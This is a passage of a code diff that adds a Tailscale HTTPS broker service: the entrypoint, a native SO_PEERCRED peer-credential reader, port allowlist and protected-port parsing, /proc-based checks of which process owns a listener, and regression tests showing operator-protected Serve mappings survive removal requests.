+  const versionOk = version.code === 0 && isSupportedTailscaleVersion(version.stdout);
+  const status = runner(buildStatusArgv(config.tailscaleBinPath));
+  let primaryOk = false;
+  try {
+    assertPrimaryIntact(parseServeStatus(JSON.parse(status.stdout)));
+    primaryOk = true;
+  } catch {
+    primaryOk = false;
+  }
+  const checks = {
+    tailscaleVersionSupported: versionOk,
+    serveStatusReadable: status.code === 0,
+    primaryRouteIntact: primaryOk,
+    registryPathSafe: true, // loadHostConfig already threw otherwise
+    nodeIdentity: config.nodeIdentity,
+    // Echo the parsed protected set so an operator can confirm the preservation
+    // list actually took effect before trusting it (PAP-17285).
+    protectedPorts: config.protectedPorts,
+  };
+  process.stdout.write(`${JSON.stringify(checks, null, 2)}\n`);
+  return versionOk && status.code === 0 && primaryOk ? 0 : 1;
+}
+
+function main(): void {
+  if (process.argv.includes("--doctor")) {
+    process.exit(runDoctor());
+  }
+
+  const config = loadHostConfig(process.env);
+  const core = new BrokerCore({
+    tailscaleBinPath: config.tailscaleBinPath,
+    registryPath: config.registryPath,
+    auditSink: new FileAuditSink(config.auditPath, true),
+    peerPolicy: {
+      allowedUids: new Set([config.serviceUid]),
+      allowedGids: new Set([config.serviceGid]),
+    },
+    nodeIdentity: config.nodeIdentity,
+    // Protected ports are excluded from the allocatable allowlist as well as
+    // denied per-op, so a lane can never even reserve one (PAP-17285).
+    isAllowedPort: (port) => defaultIsAllowedPort(port) && !config.protectedPorts.includes(port),
+    protectedPorts: config.protectedPorts,
+    deps: {
+      runTailscale: createTailscaleRunner(),
+      verifyListenerOwnership: createProcListenerVerifier(config.runtimeUid),
+      nowIso: () => new Date().toISOString(),
+    },
+  });
+
+  const server = startSocketServer({
+    socketPath: config.socketPath,
+    core,
+    serviceUid: config.serviceUid,
+    resolvePeer: createPeerResolver({
+      soPeercred: createNativePeerCredentialReader(),
+    }),
+  });
+
+  const shutdown = () => {
+    server.close(() => process.exit(0));
+  };
+  process.on("SIGINT", shutdown);
+  process.on("SIGTERM", shutdown);
+  process.stderr.write(`[broker] listening on ${config.socketPath}\n`);
+}
+
+main();
diff --git a/packages/tailscale-https-broker/src/native-peercred.ts b/packages/tailscale-https-broker/src/native-peercred.ts
new file mode 100644
index 00000000000..37a008fd5ba
--- /dev/null
+++ b/packages/tailscale-https-broker/src/native-peercred.ts
@@ -0,0 +1,36 @@
+/**
+ * Linux SO_PEERCRED bridge.
+ *
+ * Node's public net.Socket API does not expose peer credentials. The package
+ * build compiles a dependency-free N-API addon next to this module's emitted
+ * JavaScript. The native call is synchronous and runs once per accepted local
+ * socket, before the connection enters the admission pool.
+ */
+import { createRequire } from "node:module";
+import type { Socket } from "node:net";
+import type { PeerCredentials } from "./types.js";
+
+interface NativePeercredBinding {
+  getPeerCredentials(fd: number): PeerCredentials;
+}
+
+interface SocketWithHandle extends Socket {
+  _handle?: { fd?: unknown };
+}
+
+export function createNativePeerCredentialReader(): (socket: Socket) => PeerCredentials {
+  if (process.platform !== "linux") {
+    throw new Error("native SO_PEERCRED is supported only on Linux");
+  }
+
+  const require = createRequire(import.meta.url);
+  const binding = require("./peercred-native.node") as NativePeercredBinding;
+
+  return (socket: Socket): PeerCredentials => {
+    const fd = (socket as SocketWithHandle)._handle?.fd;
+    if (!Number.isInteger(fd) || (fd as number) < 0) {
+      throw new Error("accepted socket has no valid file descriptor");
+    }
+    return binding.getPeerCredentials(fd as number);
+  };
+}
diff --git a/packages/tailscale-https-broker/src/peercred-native.c b/packages/tailscale-https-broker/src/peercred-native.c
new file mode 100644
index 00000000000..a71a6440e9d
--- /dev/null
+++ b/packages/tailscale-https-broker/src/peercred-native.c
@@ -0,0 +1,64 @@
+#define _GNU_SOURCE
+#include <errno.h>
+#include <node_api.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/socket.h>
+
+static napi_value throw_last_error(napi_env env, const char *operation) {
+  char message[256];
+  (void)snprintf(message, sizeof(message), "%s failed: %s", operation, strerror(errno));
+  napi_throw_error(env, NULL, message);
+  return NULL;
+}
+
+static napi_value get_peer_credentials(napi_env env, napi_callback_info info) {
+  size_t argc = 1;
+  napi_value argv[1];
+  int32_t fd;
+
+  if (napi_get_cb_info(env, info, &argc, argv, NULL, NULL) != napi_ok || argc != 1 ||
+      napi_get_value_int32(env, argv[0], &fd) != napi_ok || fd < 0) {
+    napi_throw_type_error(env, NULL, "getPeerCredentials requires a non-negative file descriptor");
+    return NULL;
+  }
+
+  struct ucred credentials;
+  socklen_t length = sizeof(credentials);
+  if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &credentials, &length) != 0) {
+    return throw_last_error(env, "getsockopt(SO_PEERCRED)");
+  }
+  if (length != sizeof(credentials) || credentials.pid < 0) {
+    napi_throw_error(env, NULL, "getsockopt(SO_PEERCRED) returned invalid credentials");
+    return NULL;
+  }
+
+  napi_value result;
+  napi_value pid;
+  napi_value uid;
+  napi_value gid;
+  if (napi_create_object(env, &result) != napi_ok ||
+      napi_create_int32(env, credentials.pid, &pid) != napi_ok ||
+      napi_create_uint32(env, credentials.uid, &uid) != napi_ok ||
+      napi_create_uint32(env, credentials.gid, &gid) != napi_ok ||
+      napi_set_named_property(env, result, "pid", pid) != napi_ok ||
+      napi_set_named_property(env, result, "uid", uid) != napi_ok ||
+      napi_set_named_property(env, result, "gid", gid) != napi_ok) {
+    napi_throw_error(env, NULL, "failed to create SO_PEERCRED result");
+    return NULL;
+  }
+  return result;
+}
+
+static napi_value initialize(napi_env env, napi_value exports) {
+  napi_value function;
+  if (napi_create_function(env, "getPeerCredentials", NAPI_AUTO_LENGTH,
+                           get_peer_credentials, NULL, &function) != napi_ok ||
+      napi_set_named_property(env, exports, "getPeerCredentials", function) != napi_ok) {
+    napi_throw_error(env, NULL, "failed to initialize peercred native binding");
+    return NULL;
+  }
+  return exports;
+}
+
+NAPI_MODULE(NODE_GYP_MODULE_NAME, initialize)
diff --git a/packages/tailscale-https-broker/src/peercred.test.ts b/packages/tailscale-https-broker/src/peercred.test.ts
new file mode 100644
index 00000000000..3e480515676
--- /dev/null
+++ b/packages/tailscale-https-broker/src/peercred.test.ts
@@ -0,0 +1,29 @@
+import type { Socket } from "node:net";
+import { describe, expect, it } from "vitest";
+import { PeerResolutionError, createPeerResolver } from "./peercred.js";
+
+const socket = {} as Socket;
+
+describe("createPeerResolver", () => {
+  it("returns the actual native identity for admission before authorization", () => {
+    const resolve = createPeerResolver({
+      soPeercred: () => ({ uid: 1000, gid: 987, pid: 42 }),
+    });
+
+    expect(resolve(socket)).toEqual({ uid: 1000, gid: 987, pid: 42 });
+  });
+
+  it("fails closed when native credentials are unavailable", () => {
+    const resolve = createPeerResolver({ soPeercred: () => null });
+
+    expect(() => resolve(socket)).toThrow(PeerResolutionError);
+  });
+
+  it("fails closed on malformed native credentials", () => {
+    const resolve = createPeerResolver({
+      soPeercred: () => ({ uid: Number.NaN, gid: 987, pid: 42 }),
+    });
+
+    expect(() => resolve(socket)).toThrow(/invalid/);
+  });
+});
diff --git a/packages/tailscale-https-broker/src/peercred.ts b/packages/tailscale-https-broker/src/peercred.ts
new file mode 100644
index 00000000000..7d7305c2dfb
--- /dev/null
+++ b/packages/tailscale-https-broker/src/peercred.ts
@@ -0,0 +1,37 @@
+/**
+ * Peer-credential resolution for accepted socket connections.
+ *
+ * Node does not expose SO_PEERCRED through a public API. The broker's primary
+ * access boundary is still the OS filesystem: the socket lives in a
+ * broker-owned directory and is mode 0660 owned by the dedicated socket group.
+ * Every member of that group can connect, so the shipped entrypoint wires a
+ * small native SO_PEERCRED reader to distinguish those peers before transport
+ * admission. BrokerCore applies the service UID/GID authorization policy after
+ * a request is framed.
+ *
+ * `createPeerResolver` returns the identity to bind leases to. A native
+ * SO_PEERCRED mechanism is required and its result is the authoritative peer
+ * identity. Missing or invalid credentials fail closed.
+ */
+import type { Socket } from "node:net";
+import type { PeerCredentials } from "./types.js";
+
+export interface PeerResolverConfig {
+  /** Native SO_PEERCRED reader; returns null only when credentials are unavailable. */
+  soPeercred: (socket: Socket) => PeerCredentials | null;
+}
+
+export class PeerResolutionError extends Error {}
+
+export function createPeerResolver(config: PeerResolverConfig) {
+  return (socket: Socket): PeerCredentials => {
+    const native = config.soPeercred(socket);
+    if (native) {
+      if (![native.uid, native.gid, native.pid].every((value) => Number.isInteger(value) && value >= 0)) {
+        throw new PeerResolutionError("native peer credentials are invalid");
+      }
+      return native;
+    }
+    throw new PeerResolutionError("native peer credentials are unavailable");
+  };
+}
diff --git a/packages/tailscale-https-broker/src/port-policy.ts b/packages/tailscale-https-broker/src/port-policy.ts
new file mode 100644
index 00000000000..2ac44bcbd53
--- /dev/null
+++ b/packages/tailscale-https-broker/src/port-policy.ts
@@ -0,0 +1,48 @@
+/**
+ * Default dedicated port allowlist for the broker. Kept numerically in sync
+ * with `@paperclipai/shared` `runtime-exposure/ports` so the broker and the
+ * runtime allocator agree, but inlined here so the broker stays deployable as a
+ * standalone host service without a workspace dependency graph.
+ */
+export const DEFAULT_APP_PORT_MIN = 42000;
+export const DEFAULT_APP_PORT_MAX = 42999;
+export const DEFAULT_HMR_PORT_OFFSET = 10000;
+export const DEFAULT_HMR_PORT_MIN = DEFAULT_APP_PORT_MIN + DEFAULT_HMR_PORT_OFFSET;
+export const DEFAULT_HMR_PORT_MAX = DEFAULT_APP_PORT_MAX + DEFAULT_HMR_PORT_OFFSET;
+
+export function defaultIsAllowedPort(port: number): boolean {
+  if (!Number.isInteger(port)) return false;
+  const inApp = port >= DEFAULT_APP_PORT_MIN && port <= DEFAULT_APP_PORT_MAX;
+  const inHmr = port >= DEFAULT_HMR_PORT_MIN && port <= DEFAULT_HMR_PORT_MAX;
+  return inApp || inHmr;
+}
+
+/**
+ * Parse `BROKER_PROTECTED_PORTS` (comma/space separated) into a sorted, deduped
+ * set of operator-protected ports (PAP-17285).
+ *
+ * Fails closed: a malformed list throws so the broker refuses to start rather
+ * than silently protecting nothing. Protecting a port the broker cannot mutate
+ * anyway is harmless, so no range restriction is applied — but `443` is rejected
+ * because the primary route has its own stronger, non-optional invariant and
+ * listing it here would imply it were opt-in.
+ */
+export function parseProtectedPorts(raw: string | undefined): number[] {
+  if (raw === undefined) return [];
+  const tokens = raw.split(/[,\s]+/).filter((token) => token.length > 0);
+  const ports = new Set<number>();
+  for (const token of tokens) {
+    if (!/^[0-9]{1,5}$/.test(token)) {
+      throw new Error(`BROKER_PROTECTED_PORTS contains a non-numeric entry: ${JSON.stringify(token)}`);
+    }
+    const port = Number(token);
+    if (port < 1 || port > 65535) {
+      throw new Error(`BROKER_PROTECTED_PORTS contains an out-of-range port: ${token}`);
+    }
+    if (port === 443) {
+      throw new Error("BROKER_PROTECTED_PORTS must not list 443; the primary route is always protected");
+    }
+    ports.add(port);
+  }
+  return [...ports].sort((a, b) => a - b);
+}
diff --git a/packages/tailscale-https-broker/src/proc-listener.test.ts b/packages/tailscale-https-broker/src/proc-listener.test.ts
new file mode 100644
index 00000000000..456d0426ecc
--- /dev/null
+++ b/packages/tailscale-https-broker/src/proc-listener.test.ts
@@ -0,0 +1,80 @@
+import { describe, expect, it } from "vitest";
+import {
+  isLoopbackIpv4Hex,
+  isLoopbackIpv6Hex,
+  isWildcardHex,
+  listenerFactsForPort,
+  parseProcNetTable,
+} from "./proc-listener.js";
+
+// 42010 == 0xA41A. /proc stores IPv4 little-endian: 127.0.0.1 -> 0100007F.
+const LOOPBACK_ROW = "   0: 0100007F:A41A 00000000:0000 0A 00000000:00000000 00:00000000 00000000   999        0 12345 1";
+const WILDCARD_ROW = "   1: 00000000:A41A 00000000:0000 0A 00000000:00000000 00:00000000 00000000   999        0 12346 1";
+const OTHERUID_ROW = "   2: 0100007F:A41A 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 12347 1";
+const HEADER = "  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode";
+
+describe("proc listener parsing", () => {
+  it("classifies loopback vs wildcard addresses", () => {
+    expect(isLoopbackIpv4Hex("0100007F")).toBe(true);
+    expect(isLoopbackIpv4Hex("0101A8C0")).toBe(false); // 192.168.1.1
+    expect(isWildcardHex("00000000")).toBe(true);
+    // /proc/net/tcp6 stores ::1 little-endian per word: final word 0x1 -> "01000000".
+    expect(isLoopbackIpv6Hex("00000000000000000000000001000000")).toBe(true);
+    // The big-endian spelling must NOT match, or a non-loopback bind could slip through.
+    expect(isLoopbackIpv6Hex("00000000000000000000000000000001")).toBe(false);
+    expect(isLoopbackIpv6Hex("00000000000000000000000000000000")).toBe(false); // ::
+  });
+
+  it("reports a loopback listener owned by the expected uid", () => {
+    const rows = parseProcNetTable(`${HEADER}\n${LOOPBACK_ROW}`);
+    const facts = listenerFactsForPort(rows, [], 42010);
+    expect(facts.present).toBe(true);
+    expect(facts.loopbackOnly).toBe(true);
+    expect(facts.uids).toEqual([999]);
+    // The socket inode is the listener's identity. It is what lets the broker
+    // tell "the socket I verified" from "some socket on this port owned by the
+    // same uid", so it must survive the reduction to facts.
+    expect(facts.inodes).toEqual(["12345"]);
+  });
+
+  it("distinguishes two different sockets on the same port and uid", () => {
+    // Same port, same uid, different socket: only the inode changes. This is the
+    // substitution the broker must be able to detect.
+    const first = listenerFactsForPort(parseProcNetTable(`${HEADER}\n${LOOPBACK_ROW}`), [], 42010);
+    const replaced = parseProcNetTable(`${HEADER}\n${LOOPBACK_ROW.replace(" 12345 ", " 55555 ")}`);
+    const second = listenerFactsForPort(replaced, [], 42010);
+    expect(second.uids).toEqual(first.uids);
+    expect(second.loopbackOnly).toBe(first.loopbackOnly);
+    expect(second.inodes).not.toEqual(first.inodes);
+  });
+
+  it("returns inodes in a stable order so two snapshots compare equal", () => {
+    // Dual-stack listeners can be reported in either table order. Identity must
+    // not depend on that, or a legitimate listener would look substituted.
+    const v6 = `   3: ${"0".repeat(31)}1:A41A 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   999        0 12300 1`;
+    const rows = parseProcNetTable(`${HEADER}\n${LOOPBACK_ROW}`);
+    const rows6 = parseProcNetTable(`${HEADER}\n${v6}`);
+    expect(listenerFactsForPort(rows, rows6, 42010).inodes).toEqual(
+      listenerFactsForPort(rows, rows6, 42010).inodes,
+    );
+    expect(listenerFactsForPort(rows, rows6, 42010).inodes).toEqual(["12300", "12345"]);
+  });
+
+  it("flags a wildcard bind as not loopback-only", () => {
+    const rows = parseProcNetTable(`${HEADER}\n${WILDCARD_ROW}`);
+    const facts = listenerFactsForPort(rows, [], 42010);
+    expect(facts.present).toBe(true);
+    expect(facts.loopbackOnly).toBe(false);
+  });
+
+  it("surfaces a foreign uid so ownership fails", () => {
+    const rows = parseProcNetTable(`${HEADER}\n${OTHERUID_ROW}`);
+    const facts = listenerFactsForPort(rows, [], 42010);
+    expect(facts.uids).toEqual([1000]);
+  });
+
+  it("returns absent when no listener matches the port", () => {
+    const rows = parseProcNetTable(`${HEADER}\n${LOOPBACK_ROW}`);
+    expect(listenerFactsForPort(rows, [], 40000).present).toBe(false);
+  });
+});
diff --git a/packages/tailscale-https-broker/src/proc-listener.ts b/packages/tailscale-https-broker/src/proc-listener.ts
new file mode 100644
index 00000000000..ae3f734002e
--- /dev/null
+++ b/packages/tailscale-https-broker/src/proc-listener.ts
@@ -0,0 +1,142 @@
+/**
+ * /proc-based loopback listener ownership check (PAP-17050 verdict req #2).
+ *
+ * Immediately before a mutation the broker proves the target port has a
+ * listener that is (a) loopback-only — not a wildcard/IPv6-wildcard/dual-stack
+ * bind reachable off-loopback — and (b) owned by the expected managed-runtime
+ * UID. A mere caller assertion or health response is insufficient.
+ *
+ * Pure parsing helpers are exported for tests; `createProcListenerVerifier`
+ * wires them to the live /proc filesystem.
+ */
+import { readFileSync } from "node:fs";
+import type { ListenerOwnership } from "./broker-core.js";
+
+export interface ProcListenerRow {
+  localAddressHex: string;
+  localPortHex: string;
+  state: string;
+  uid: number;
+  inode: string;
+}
+
+const TCP_STATE_LISTEN = "0A";
+
+/** Parse one `/proc/net/tcp{,6}` table into structured listening rows. */
+export function parseProcNetTable(content: string): ProcListenerRow[] {
+  const rows: ProcListenerRow[] = [];
+  const lines = content.split("\n").slice(1); // drop header
+  for (const line of lines) {
+    const cols = line.trim().split(/\s+/);
+    if (cols.length < 10) continue;
+    const [local, , stateHex] = [cols[1], cols[2], cols[3]];
+    const uid = Number.parseInt(cols[7], 10);
+    const inode = cols[9];
+    const [addr, port] = local.split(":");
+    rows.push({ localAddressHex: addr, localPortHex: port, state: stateHex, uid, inode });
+  }
+  return rows;
+}
+
+/** True when a hex IPv4 address is loopback (127.0.0.0/8). */
+export function isLoopbackIpv4Hex(addrHex: string): boolean {
+  // /proc stores little-endian; low byte is the last pair.
+  if (addrHex.length !== 8) return false;
+  const b0 = parseInt(addrHex.slice(6, 8), 16); // first octet
+  return b0 === 127;
+}
+
+/**
+ * `/proc/net/tcp6` rendering of ::1. Like the IPv4 table, the address is stored
+ * as 32-bit words in host (little-endian) byte order, so the final word 0x00000001
+ * is byte-swapped to "01000000" — NOT the big-endian "...0001". Matching the
+ * wrong endianness would misclassify a real loopback listener.
+ */
+const LOOPBACK_IPV6_PROC_HEX = "00000000000000000000000001000000";
+
+/** True when a hex IPv6 address is ::1 loopback (in /proc little-endian form). */
+export function isLoopbackIpv6Hex(addrHex: string): boolean {
+  return addrHex.toUpperCase() === LOOPBACK_IPV6_PROC_HEX;
+}
+
+/** True for wildcard binds (0.0.0.0 / ::) that are reachable off-loopback. */
+export function isWildcardHex(addrHex: string): boolean {
+  return /^0+$/.test(addrHex);
+}
+
+export interface ListenerFacts {
+  present: boolean;
+  loopbackOnly: boolean;
+  uids: number[];
+  /**
+   * Socket inodes of the matching listening sockets, sorted. The inode names
+   * *this* socket, not merely "something on this port", so comparing two
+   * snapshots detects a listener that was closed and replaced by another
+   * process between the two reads. UID equality cannot do that: a different
+   * process under the same runtime UID satisfies `ownerUidMatches`.
+   */
+  inodes: string[];
+}
+
+/**
+ * Reduce the two /proc tables to facts about listeners on `port`. A wildcard or
+ * IPv6-wildcard bind anywhere on the port makes it NOT loopback-only.
+ */
+export function listenerFactsForPort(
+  tcp: ProcListenerRow[],
+  tcp6: ProcListenerRow[],
+  port: number,
+): ListenerFacts {
+  const wantHex = port.toString(16).toUpperCase().padStart(4, "0");
+  const uids: number[] = [];
+  const inodes: string[] = [];
+  let present = false;
+  let loopbackOnly = true;
+  for (const row of tcp) {
+    if (row.localPortHex.toUpperCase() !== wantHex || row.state !== TCP_STATE_LISTEN) continue;
+    present = true;
+    uids.push(row.uid);
+    inodes.push(row.inode);
+    if (isWildcardHex(row.localAddressHex) || !isLoopbackIpv4Hex(row.localAddressHex)) {
+      loopbackOnly = false;
+    }
+  }
+  for (const row of tcp6) {
+    if (row.localPortHex.toUpperCase() !== wantHex || row.state !== TCP_STATE_LISTEN) continue;
+    present = true;
+    uids.push(row.uid);
+    inodes.push(row.inode);
+    if (isWildcardHex(row.localAddressHex) || !isLoopbackIpv6Hex(row.localAddressHex)) {
+      loopbackOnly = false;
+    }
+  }
+  return { present, loopbackOnly, uids, inodes: [...inodes].sort() };
+}
+
+/**
+ * Build a live verifier bound to the expected managed-runtime UID. Reads
+ * /proc/net/tcp and tcp6 fresh on every call (immediately before mutation).
+ */
+export function createProcListenerVerifier(expectedUid: number) {
+  return (port: number): ListenerOwnership => {
+    let tcp: ProcListenerRow[] = [];
+    let tcp6: ProcListenerRow[] = [];
+    try {
+      tcp = parseProcNetTable(readFileSync("/proc/net/tcp", "utf8"));
+    } catch {
+      /* leave empty -> present:false -> fail closed */
+    }
+    try {
+      tcp6 = parseProcNetTable(readFileSync("/proc/net/tcp6", "utf8"));
+    } catch {
+      /* optional */
+    }
+    const facts = listenerFactsForPort(tcp, tcp6, port);
+    return {
+      present: facts.present,
+      loopbackOnly: facts.loopbackOnly,
+      ownerUidMatches: facts.present && facts.uids.every((uid) => uid === expectedUid),
+      inodes: facts.inodes,
+    };
+  };
+}
diff --git a/packages/tailscale-https-broker/src/protected-ports.test.ts b/packages/tailscale-https-broker/src/protected-ports.test.ts
new file mode 100644
index 00000000000..d519cb3f086
--- /dev/null
+++ b/packages/tailscale-https-broker/src/protected-ports.test.ts
@@ -0,0 +1,386 @@
+/**
+ * PAP-17285 regression coverage.
+ *
+ * Two Serve mappings on `42000/52000` that operators had declared must-preserve
+ * were destroyed by a fully authorized managed removal. Reconstructed cause: the
+ * broker had itself created those mappings for a since-retired canary lane, so
+ * its registry still held an `exposed` lease for them. Every existing guard
+ * therefore passed — the peer was authorized, the handle matched, the entries
+ * were shape-valid same-number loopback listeners, `:443` was untouched, and the
+ * before/after diff saw changes only on the lease's own ports. The pre-existing
+ * "unknown/manual entries are never modified" invariant never applied, because
+ * the entries were never unknown *to the broker*.
+ *
+ * These tests pin both halves of the repair:
+ *   - a genuinely unrelated unknown/manual pair survives every lifecycle path,
+ *     including the failed/compensated ones (the pre-existing guarantee), and
+ *   - an operator-protected pair survives even when a valid lease names it (the
+ *     new guarantee), with a negative control proving the guard is what does it.
+ */
+import { mkdtempSync, readFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { beforeEach, describe, expect, it } from "vitest";
+import { MemoryAuditSink } from "./audit.js";
+import { BrokerCore, type CliResult, type ListenerOwnership } from "./broker-core.js";
+import { buildExposeArgv, buildRemoveArgv } from "./argv.js";
+import { defaultIsAllowedPort, parseProtectedPorts } from "./port-policy.js";
+import { changedProtectedPorts, parseServeStatus } from "./serve-config.js";
+import { saveRegistry } from "./registry.js";
+import type { BrokerRequest, PeerCredentials } from "./types.js";
+
+const HOST = "paperclip-dev.tail29c1aa.ts.net";
+const BIN = "/usr/bin/tailscale";
+const RUNTIME_A = "2af79bb1-ecc5-4410-8438-091be135a921";
+const PEER: PeerCredentials = { uid: 999, gid: 987, pid: 4242 };
+
+/** The pair the incident lost. Same-number loopback, so shape-indistinguishable. */
+const PROTECTED_APP = 42000;
+const PROTECTED_HMR = 52000;
+
+/**
+ * An unrelated unknown/manual pair the broker never created. Deliberately NOT
+ * same-number (`42500 -> 5432`) so it is genuinely unknown by shape, which is
+ * the population the original invariant protects.
+ */
+const MANUAL_APP = 42500;
+const MANUAL_HMR = 52500;
+const MANUAL_APP_TARGET = "http://127.0.0.1:5432";
+const MANUAL_HMR_TARGET = "http://127.0.0.1:5433";
+
+class FakeTailscale {
+  ports = new Map<number, string>([
+    [443, "http://127.0.0.1:3100"],
+    [MANUAL_APP, MANUAL_APP_TARGET],
+    [MANUAL_HMR, MANUAL_HMR_TARGET],
+    [PROTECTED_APP, `http://127.0.0.1:${PROTECTED_APP}`],
+    [PROTECTED_HMR, `http://127.0.0.1:${PROTECTED_HMR}`],
+  ]);
+  /** Funnel stays null for the whole suite; the broker has no Funnel verb. */
+  funnel: unknown = null;
+  failExposePort: number | null = null;
+  /** Simulate a CLI that clobbers an unrelated port as a side effect. */
+  strayOnRemove: number | null = null;
+  exposeCalls = 0;
+  removeCalls = 0;
+  removedPorts: number[] = [];
+
+  run = (argv: string[]): CliResult => {
+    const [, sub, a2, a3] = argv;
+    if (sub === "serve" && a2 === "status") {
+      return { code: 0, stdout: this.statusJson(), stderr: "", timedOut: false };
+    }
+    if (sub === "serve" && a2 === "--bg") {
+      this.exposeCalls += 1;
+      const port = Number(a3.replace("--https=", ""));
+      if (this.failExposePort === port) {
+        return { code: 1, stdout: "", stderr: "boom", timedOut: false };
+      }
+      this.ports.set(port, `http://127.0.0.1:${port}`);
+      return { code: 0, stdout: "", stderr: "", timedOut: false };
+    }
+    if (sub === "serve" && a2.startsWith("--https=") && a3 === "off") {
+      this.removeCalls += 1;
+      const port = Number(a2.replace("--https=", ""));
+      this.removedPorts.push(port);
+      this.ports.delete(port);
+      if (this.strayOnRemove !== null) this.ports.delete(this.strayOnRemove);
+      return { code: 0, stdout: "", stderr: "", timedOut: false };
+    }
+    return { code: 2, stdout: "", stderr: "unknown", timedOut: false };
+  };
+
+  private statusJson(): string {
+    const TCP: Record<string, unknown> = {};
+    const Web: Record<string, unknown> = {};
+    for (const [port, proxy] of this.ports) {
+      TCP[String(port)] = { HTTPS: true };
+      Web[`${HOST}:${port}`] = { Handlers: { "/": { Proxy: proxy } } };
+    }
+    return JSON.stringify({ TCP, Web, AllowFunnel: this.funnel });
+  }
+
+  /** Exactly the entries that must never move, as a comparable snapshot. */
+  preservedSnapshot() {
+    return {
+      manualApp: this.ports.get(MANUAL_APP),
+      manualHmr: this.ports.get(MANUAL_HMR),
+      protectedApp: this.ports.get(PROTECTED_APP),
+      protectedHmr: this.ports.get(PROTECTED_HMR),
+      primary: this.ports.get(443),
+      funnel: this.funnel,
+    };
+  }
+}
+
+const PRESERVED_INTACT = {
+  manualApp: MANUAL_APP_TARGET,
+  manualHmr: MANUAL_HMR_TARGET,
+  protectedApp: `http://127.0.0.1:${PROTECTED_APP}`,
+  protectedHmr: `http://127.0.0.1:${PROTECTED_HMR}`,
+  primary: "http://127.0.0.1:3100",
+  funnel: null,
+};
+
+function makeCore(
+  fake: FakeTailscale,
+  registryPath: string,
+  protectedPorts: readonly number[] = [PROTECTED_APP, PROTECTED_HMR],
+  ownership: (port: number) => ListenerOwnership = () => ({
+    present: true,
+    loopbackOnly: true,
+    ownerUidMatches: true,
+    inodes: ["5001"],
+  }),
+) {
+  const audit = new MemoryAuditSink();
+  const core = new BrokerCore({
+    tailscaleBinPath: BIN,
+    registryPath,
+    auditSink: audit,
+    peerPolicy: { allowedUids: new Set([999]), allowedGids: new Set([987]) },
+    nodeIdentity: "node-1",
+    isAllowedPort: (port) => defaultIsAllowedPort(port) && !protectedPorts.includes(port),
+    protectedPorts,
+    deps: {
+      runTailscale: fake.run,
+      verifyListenerOwnership: ownership,
+      nowIso: () => "2026-08-14T00:00:00.000Z",
+    },
+  });
+  return { core, audit };
+}
+
+/**
+ * Plant the exact registry state that caused the incident: a live `exposed`
+ * lease the broker itself issued for the now-retired lane, still naming the
+ * ports operators later declared must-preserve.
+ */
+function plantRetiredLaneLease(registryPath: string, ports: number[]) {
+  const handle = "retired-lane-handle-000000000000";
+  saveRegistry(registryPath, {
+    version: 1,
+    nodeIdentity: "node-1",
+    generationCounter: 7,
+    leases: [{
+      handle,
+      runtimeId: RUNTIME_A,
+      peerUid: PEER.uid,
+      peerGid: PEER.gid,
+      ports,
+      purposes: ports.map((_, index) => (index === 0 ? "app" : "vite_hmr")),
+      state: "exposed",
+      generation: 7,
+      createdAtIso: "2026-08-11T12:07:18.000Z",
+      expiresAtIso: null,
+    }],
+    quarantinedPorts: [],
+  });
+  return handle;
+}
+
+const reserveReq = (ports: number[], runtimeId = RUNTIME_A): BrokerRequest => ({
+  op: "reserve",
+  requestId: "req-r",
+  runtimeId,
+  listeners: ports.map((port, index) => ({
+    purpose: index === 0 ? "app" : "vite_hmr",
+    port,
+  })),
+});
+
+let registryPath: string;
+beforeEach(() => {
+  registryPath = join(mkdtempSync(join(tmpdir(), "broker-protected-")), "registry.json");
+});
+
+describe("operator-protected ports (PAP-17285)", () => {
+  it("refuses to remove a protected pair even when a valid broker lease names it", async () => {
+    // The incident, reproduced: the lease is real, the handle matches, the peer
+    // is authorized, and the entries are shape-valid same-number listeners. The
+    // ONLY thing that can save them is the operator declaration.
+    const fake = new FakeTailscale();
+    const handle = plantRetiredLaneLease(registryPath, [PROTECTED_APP, PROTECTED_HMR]);
+    const { core, audit } = makeCore(fake, registryPath);
+
+    const res = await core.handle(
+      { op: "remove", requestId: "req-d", runtimeId: RUNTIME_A, handle },
+      PEER,
+    );
+
+    expect(res.ok).toBe(false);
+    if (!res.ok) expect(res.code).toBe("protected_port");
+    // Fail-closed: denial precedes every Serve read and mutation.
+    expect(fake.removeCalls).toBe(0);
+    expect(fake.preservedSnapshot()).toEqual(PRESERVED_INTACT);
+    const denial = audit.events.find((event) => event.decision === "deny");
+    expect(denial?.reasonCode).toBe("protected_port");
+    expect(denial?.op).toBe("remove");
+  });
+
+  it("NEGATIVE CONTROL: the identical removal succeeds when the ports are not protected", async () => {
+    // Proves the assertion above is carried by the new guard and not by some
+    // unrelated precondition — without this, that test could pass vacuously.
+    const fake = new FakeTailscale();
+    const handle = plantRetiredLaneLease(registryPath, [PROTECTED_APP, PROTECTED_HMR]);
+    const { core } = makeCore(fake, registryPath, []); // no protected ports
+
+    const res = await core.handle(
+      { op: "remove", requestId: "req-d", runtimeId: RUNTIME_A, handle },
+      PEER,
+    );
+
+    expect(res.ok).toBe(true);
+    if (res.ok && res.op === "remove") {
+      expect(res.removedPorts).toEqual([PROTECTED_APP, PROTECTED_HMR]);
+    }
+    // This is precisely the production loss, reproduced on demand.
+    expect(fake.ports.has(PROTECTED_APP)).toBe(false);
+    expect(fake.ports.has(PROTECTED_HMR)).toBe(false);
+    // Even here the unrelated unknown/manual pair and the primary are untouched.
+    expect(fake.ports.get(MANUAL_APP)).toBe(MANUAL_APP_TARGET);
+    expect(fake.ports.get(MANUAL_HMR)).toBe(MANUAL_HMR_TARGET);
+    expect(fake.ports.get(443)).toBe("http://127.0.0.1:3100");
+    expect(fake.funnel).toBeNull();
+  });
+
+  it("refuses to reserve or expose a protected port, so no lane can acquire one", async () => {
+    const fake = new FakeTailscale();
+    const { core } = makeCore(fake, registryPath);
+
+    const reserved = await core.handle(reserveReq([PROTECTED_APP, PROTECTED_HMR]), PEER);
+    expect(reserved.ok).toBe(false);
+    if (!reserved.ok) expect(reserved.code).toBe("protected_port");
+
+    // Also unreachable via a lease forged straight into the registry.
+    const handle = plantRetiredLaneLease(registryPath, [PROTECTED_APP]);
+    const exposed = await core.handle(
